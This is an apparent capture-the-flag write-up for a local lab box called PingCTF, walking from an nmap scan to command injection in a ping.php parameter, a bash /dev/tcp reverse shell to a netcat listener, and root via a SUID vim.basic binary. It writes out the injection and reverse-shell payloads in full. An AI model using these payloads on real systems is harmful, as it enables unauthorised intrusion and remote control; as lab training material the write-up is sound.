map-pinPingCTF

Reconnaissance

┌──(zwique㉿zwique)-[~/Downloads]
└─$ nmap 172.17.0.2 -sV -A -p- 
Starting Nmap 7.95 ( https://nmap.org/ ) at 2025-08-05 19:57 +08
Nmap scan report for 172.17.0.2
Host is up (0.000043s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Ping
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.04 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds

Well, there is only one open port. Let's check it out.

"Once you access port 80, you'll see a simple IP address checker page. Try sending a request by clicking the blue button. Eventually, it redirects to ping.php?target=. So, I tried this Command Injection payload: 127.0.0.1; ls worked perfectly, listing files under the www-data user. Now, instead of the ls command, try injecting a reverse shell that connects back to your netcat listener.

www-data

Start netcat lister: nc -lnvp 4444

Injection the payload: 127.0.0.1; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1' OR http://172.17.0.2/ping.php?target=127.0.0.1%3B+bash+-c+'bash+-i+>%26+%2Fdev%2Ftcp%2F172.17.0.1%2F4444+0>%261'arrow-up-right

Root

The first thing I did was running linpeas.sh script and looked for suspicious things. Then I've found one file called vim.basic which has root access.

You can find it from SUID Files: find / -perm -u=s -type f 2>/dev/null

I looked over the internet about Privilege Escalation Vulnerability in Vim editor and found quite good one herearrow-up-right.

I tried the first payload, but it didn't work as expected because Vim intentionally drops root privileges at startup.

To get know more about our vim.basic, I used /usr/bin/vim.basic --help command to get information.

Perfect, it's being compiled by +python3 That means I can escalate to root using Python inside Vim by spawning a root shell via SUID privileges. Use the third c) payload from GTFOBins

What this does:

You now have a real root shell! 🎉 This is how I got so far.

Last updated